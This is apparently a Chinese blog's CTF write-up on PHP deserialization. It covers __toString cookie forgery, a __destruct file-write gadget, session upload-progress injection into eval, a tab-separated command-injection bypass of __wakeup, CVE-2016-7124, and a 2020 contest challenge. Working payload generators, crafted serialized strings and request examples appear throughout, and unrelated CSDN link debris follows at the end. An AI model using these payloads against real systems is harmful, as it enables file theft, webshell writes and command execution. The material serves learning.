php反序列化1_常见php序列化的CTF考题

声明:

以下多内容来自暗月师傅我是通过他的教程来学习记录的,如有侵权联系删除。

一道反序列化的CTF题分享_ctf反序列化题目_Mr.95的博客-CSDN博客

一些其他大佬的wp参考:php_反序列化_1 | dayu's blog (killdayu.com)

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

序列化_toString

1. 序列化简介

本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

1. __toString介绍

__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法以下说明摘自PHP官方手册

public string __toString ( void )

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

Warning

不能在 __toString() 方法中抛出异常。这么做会导致致命错误。

2 简单示例
复制代码
<?php
// Declare a simple class
class TestClass
{
    public $foo;

    public function __construct($foo) 
    {
        $this->foo = \$foo;
    }
    public function __toString() {
        return $this->foo;
    }
}
$class = new TestClass('Hello');
echo $class;
?>

上面我们通过调试就能发现,当echo输出的时候,,会自动调用__toString

3.CTF实例
php 复制代码
<?php 
Class readme{ 
    public function __toString() 
    { 
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);//高亮显示 
    } 
} 
if(isset($_GET['source'])){ 
    $s = new readme(); //实例化一个对象
    $s->source = __FILE__; //传入当前文件名,根据Readme.txt输出的提示/flag可知这题要做那么传入的文件名应该是'flag'
    echo $s; //输出当前文件内容
    exit; 
} 
//$todos = []; 
if(isset($_COOKIE['todos'])){ 
    $c = $_COOKIE['todos']; 
    $h = substr($c, 0, 32); //截取0-32位字符
    $m = substr($c, 32); //截取32位以后的字符
    if(md5($m) === $h){ //全等于才会反序列化
        $todos = unserialize($m); 
    } 
} 
if(isset($_POST['text'])){ //不过这里我们好像用不到post
    $todo = $_POST['text']; 
    $todos[] = $todo; //将post获取到的参数赋值给数组,注意如果上面的反序列化通过了这个数组就原本不是空的
    $m = serialize($todos); //序列化
    $h = md5($m); 
    setcookie('todos', $h.$m); 
    header('Location: '.$_SERVER['REQUEST_URI']); 
    exit; 
} 
?> 
<html> 
<head> 
</head> 

<h1>Readme</h1> 
<a href="?source"><h2>Check Code</h2></a> 
<ul> 
<?php foreach($todos as $todo):?> //遍历取todos赋值给todo
    <li><?=$todo?></li> //相当于<?php echo $todo?>
<?php endforeach;?> 
</ul> 

<form method="post" href="."> 
    <textarea name="text"></textarea> 
    <input type="submit" value="store"> 
</form>

highlight_file() 函数对文件进行语法高亮显示。

PHP 支持一个错误控制运算符:@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。

strpos() 函数查找字符串在另一字符串中第一次出现的位置

php中ereg()函数和eregi()函数-字符串对比解析函数

·松散比较:使用两个等号 == 比较,只比较值,不比较类型。

·严格比较:用三个等号 === 比较,除了比较值,也比较类型

setcookie() 函数向客户端发送一个 HTTP cookie

header() 函数向客户端发送原始的 HTTP 报头。

$_SERVER["REQUEST_URI"]函数:

预定义服务器变量的一种,所有$_SERVER开头的都叫做预定义服务器变量 REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径

$_SERVER["REQUEST_URI"]函数-CSDN博客

通过上面的注释和分析我们可以知道,post好像用不到了,我们需要构造一段序列化的cookie信息payload,传入让他执行反序列化。

可以发现当执行到这一段的时候会触发_toString方法,而todo的参数已经是被我们改成了反序列化后的参数。

php 复制代码
<?php foreach($todos as $todo):?> //遍历取todos赋值给todo
    <li><?=$todo?></li> //相当于<?php echo $todo?>
<?php endforeach;?>

构造payload的时候通过调试发现必须放到数组里序列化才会成功赋值

下面构造payload:

php 复制代码
<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_GET['source'])){
    $s = new readme();
    $s->source = 'flag.php';
    $s=[$s];
    echo serialize($s)."<br/>";
    echo md5(serialize($s))."<br/>";
    echo $s;
    exit;
}

运算结果:

php 复制代码
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
e2d4f7dcc43ee1db7f69e76303d0105c
Array

构造的请求数据包,cookie信息记得一定要对特殊字符url编码一次,才能够读取:

php 复制代码
GET /php/demo/toString.php HTTP/1.1

Host: 192.168.18.238

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://192.168.18.238/php/demo/toString.php?source

Connection: close

Cookie: todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a{i%3a0%3bO%3a6%3a"readme"%3a1%3a{s%3a6%3a"source"%3bs%3a8%3a"flag.php"%3b}}

Upgrade-Insecure-Requests: 1

最后获得flag

反序列化_写shell

例题如下:

复制代码
<?php
error_reporting(0);//屏蔽错误
if(empty($_GET['code'])) die(show_source(__FILE__));//如果code未被设置就输出当前文件的内容
class example
{
    var $var='123';

    function __destruct(){	当一个对象销毁时被调用
        $fb = fopen('./php.php','w');
        fwrite($fb, $this->var);
        fclose($fb);
    }
}

$class = $_GET['code'];
$class_unser = unserialize($class);
unset($class_unser);
?>

payload如下:

php 复制代码
<?php

class example
{
    var $var='<?php phpinfo();?>';//可以把这里替换成一句话木马

    function __destruct(){
        $fb = fopen('./php.php','w');
        fwrite($fb, $this->var);
        fclose($fb);
    }
}


$class = new example();
//$class->var = '<?php phpinfo();?>';
echo serialize($class);
?>

注意一个坑点,就是序列化后的php代码字符串并不会直接显示出来,要右键查看页面源码才是完整的字符串。

O:7:"example":1:{s:3:"var";s:18:"<?php phpinfo();?>";}

此时在我们的网站目录下就会写入一个叫php.php的文件。

php反序列化与session

1.session的三种格式

php_serialize(php=>5.5.4) 经过serialize()函数序列化数组
php 键名+竖线+经过seralize()序列处理的值
php_binary 键名的长度对应ASCII字符+键名+serialize()序列化的值

测试代码:

php 复制代码
<?php
ini_set('session.serialize_handler','php');
//ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['elven'] = $_GET['elven'];
?>

可以看到如下图,不同的格式有着不同的session格式

php

php_serialize格式a:1:{s:5:"elven";s:3:"123";}

php_binary格式

例题如下index.php,还有一个文件上传页面upload.html:

php 复制代码
<?php
ini_set('session.serialize_handler', 'php');//根据上面我们可以了解到这是设置session的格式局部
session_start();//读取服务器上的session文件,如果格式符合会反序列化,否则会清空
class CTF
{
    public $mdzz;
    function __construct()//当一个对象创建时被调用
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()//当一个对象销毁时被调用
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new CTF();
}
else
{
    highlight_string(file_get_contents('index.php'));
}

?>


<html>
<head>
    <title>upload</title>
</head>
<body>
<form action="http://192.168.18.240/php/demo/demo3/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>

</html>

条件左边的是局部变量,[以下配置右边的是全局变量可以在配置文件php.ini中设置]

l session.serialize_handler php 局部变量 php_serialize 全局变量

l session.upload_progress.cleanup 默认开启 现关闭

l session.upload_progress.enabled 默认开启

php bug

https://bugs.php.net/bug.php?id=71101

session.upload_progress.enabled On

session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session

原理测试:

在eval执行print_r(scandir(dirname(__FILE__)));这条命令的时候会以数组的形式输出遍历到的当前路径的文件名。

如果都是在本地服务器上的时候,可以构建如下payload;

php 复制代码
<?php

session_start();
class CTF
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
$m = new CTF();
echo serialize($m);
$_SESSION['payload'] = serialize($m);
?>

如下足以见得,会产生一个session文件,内容格式是php的:

如果此时访问,index.php是会被清空session的,因为我们生成的session数据是默认走的全局变量的设置的php_serialize,但是代码里设置的局部变量类型是php。

所以巧妙的解决办法是在上图画红线处添加一个 | 符号,就会被是被成php类型的session。前面的变成键名,后面是序列化的值。

改过后访问index.php就会发现,成功被反序列化执行了。

但是,实际情况不会是这样,以上只是测试原理,做题者和服务器环境肯定是分开的。此时就可利用文件上传时候变量名PHP_SESSION_UPLOAD_PROGRESS的特性,也是php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session的骚操作呀!

此时再访问文件上传页面然后,随便上传一个文件,抓包改文件名filename改成上面的|和序列化的值,注意引号的前面要加上转义字符\

就像这样|O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

可以清楚的看到,在服务器里的这个PHPSESSID的session文件里面,被写入了东西,就是我们|之前的当成了键名,之后当成了值。并在返回信息中成功执行。

但是上面的payload只是遍历文件名。要想输出文件内容,得用这个file_get_contenets读取路径

|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/software/phpstudy_pro/WWW/php/demo/demo3/flag.php\"));\";

以上就是全部内容。

反序列化__wakeup

__wakeup(),执行unserialize()时,先会调用这个函数。

例题如下:index.php 读取目录flag.php,结合了命令执行和字符串绕过和base64编码知识。

php 复制代码
<?php
class home{

    private $method;//私有的变量
    private $args;
    function __construct($method, $args) {//实例化就被调用,传入参数
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);//调用指定函数,传入的参数必须是数组
        }
    }

    function ping($host){//执行ping命令,里面有可控的参数
        system("ping -c 2 $host");
    }
    function waf($str){//过滤空格
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){//反序列化的时候被调用
        foreach($this->args as $k => $v) {
           $this->args[$k] = $this->waf(trim(addslashes($v)));//过滤空白符,并转义指定的特殊字符
 
        }
    }
}
$a=@$_GET['a'];
if(empty($a)) die(show_source(__FILE__));
@unserialize(base64_decode($a));//@可以防止输出错误,base64解码了

解题思路

首先构造序列化参数的时候可以控制,让其添加管道命令执行别的命令。比如在windows中就可使用type加文件路径显示文件内容,但是unserialize 反序列化的时候会优先调用__wakeup() 进行空格过滤 $this->waf 调用waf函数把空格过滤是空。这里有一个骚操作就是用制表符Tab键代替空格。但是直接输入可能不行,可以在记事本输入然后复制一下,保证它真的是制表符ASSCII中的\t才不会被过滤。

构造payload:

php 复制代码
<?php
class home{

    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(addslashes($v)));

        }
    }
}

$c1 =new home('ping',array('127.0.0.1|type	D:\software\phpstudy_pro\WWW\php\demo\demo4\flag.php'));
echo base64_encode(serialize($c1));

http://php/demo/demo4/index.php?a=Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czo2NzoiMTI3LjAuMC4xfHR5cGUJRDpcc29mdHdhcmVccGhwc3R1ZHlfcHJvXFdXV1xwaHBcZGVtb1xkZW1vNFxmbGFnLnBocCI7fX0=

就可以成功读取路径下的flag.php了。其实还有一种方法可以做,利用使用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。即可让绕过_wakeup,这也是我们下面要讲的CVE-2016-7124。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

反序列化_CVE-2016-7124

PHP 5.6.25之前版本和7.0.10之前版本的7.x中的xt/standard/va unserializer.c错误地处理了某些无效对象,这使得远程攻击者能够通过精心编制的序列化数据导致(1) 析构函数调用或(2)magic方法调用,造成拒绝服务或可能具有未指明的其他影响。

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7124

序列化格式

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

示例代码:

php 复制代码
<?php

class home{
    public $F1;
    private $F2;
    protected $F3;

    public function __construct($F1,$F2,$F3)
    {
        $this->F1=$F1;
        $this->F2=$F2;
        $this->F3=$F3;

    }

}

$c=new home('1','2','3');
$b=serialize($c);
echo $b;

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

结果:

O:4:"home":3:{s:2:"F1";s:1:"1";s:8:"%00home%00F2";s:1:"2";s:5:"%00*%00F3";s:1:"3";}

题目:
php 复制代码
<?php
error_reporting(0);//规定报告哪个错误。该函数设置当前脚本的错误报告级别。
class sercet{
    private $file='index.php';//私有变量

    public function __construct($file){//对象创建时被调用
        echo "_construct<br>";
        $this->file=$file;
    }

    function __destruct(){//销毁时被调用高亮输出文件内容
        echo " __destruct<br>";
        //  echo show_source($this->file,true);
        echo @highlight_file($this->file, true);
    }


    function __wakeup(){//反序列化的时候会触发,就会重新初始化变量赋值为,index.php这样永远读取的都是index.php
        echo "__wakeup<br>";
        $this->file='index.php';
    }
}
if(empty($_GET['val'])) die(show_source(__FILE__));
unserialize($_GET['val']);

解题思路:

只需要构造个序列化对象实例,通过GET传参,但是反序列化触发__wakeup,所以我们要利用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。即可让绕过__wakeup。

构造payload

php 复制代码
<?php
error_reporting(0);
class sercet{
    private $file='index.php';

    public function __construct($file){
        echo "_construct<br>";
        $this->file=$file;
    }

    function __destruct(){
        echo " __destruct<br>";
        //  echo show_source($this->file,true);
        echo @highlight_file($this->file, true);
    }


    function __wakeup(){
        echo "__wakeup<br>";
        $this->file='index.php';
    }
}

$c = new  sercet('flag.php');
echo serialize($c);

O:6:"sercet":1:{s:12:"sercetfile";s:8:"flag.php";}

修改为:(注意搭建环境时候的版本。切换一下)

O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";}

对象属性个数被我们改成了2,而且由于是私有变量序列化输出的%00没有显示出来的时候(查看源码应该能看到),还需要我们输入%00添加上去。

完美!

网鼎杯2020 CTF WEB反序列化解题

复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    public $op=2;//由于也2=="2"为真所以应该设置2来绕过==="2"
    public $filename='D:\software\phpstudy_pro\WWW\php\demo\demo6\flag.php';
    //$filename="php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/www.test1.com/ctf/demo4/flag.php"
    //直接写文件名实际会读不出来,只有上面这两种方式好像能读出来。
    public $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();//如果是"1"那就执行wite函数
        } else if($this->op == "2") {
            $res = $this->read();//如果是"2"那就执行read函数
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {//判断参数是否有值传入
            if(strlen((string)$this->content) > 100) {//设置的参数content不能超过100个字符
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//把一个字符串写入文件中
            if($res) $this->output("Successful!");//写入成功输出指定字符串
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//读取文件
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {

        if($this->op === "2")
            $this->op = "1";//如果是字符串"2",又会给复制成字符串"1"
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//由于%00并不在其中,所以序列化后的字符串不能包含%00,也就是说要把上面的改成弱类型public
            return false;
    return true;
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
相关推荐
!停6 分钟前
c语言动态申请内存
c语言·开发语言·数据结构
AC赳赳老秦6 分钟前
pbootcms模板后台版权如何修改
java·开发语言·spring boot·postgresql·测试用例·pbootcms·建站
代码or搬砖27 分钟前
Collections和Arrays
java·开发语言
吴名氏.38 分钟前
电子书《Java程序设计与应用开发(第3版)》
java·开发语言·java程序设计与应用开发
于慨1 小时前
dayjs处理时区问题、前端时区问题
开发语言·前端·javascript
listhi5201 小时前
基于MATLAB的LTE系统仿真实现
开发语言·matlab
ss2731 小时前
ScheduledThreadPoolExecutor异常处理
java·开发语言
ejjdhdjdjdjdjjsl1 小时前
Winform初步认识
开发语言·javascript·ecmascript
六毛的毛1 小时前
比较含退格的字符串
开发语言·python·leetcode
xingzhemengyou12 小时前
Python GUI之tkinter-基础控件
开发语言·python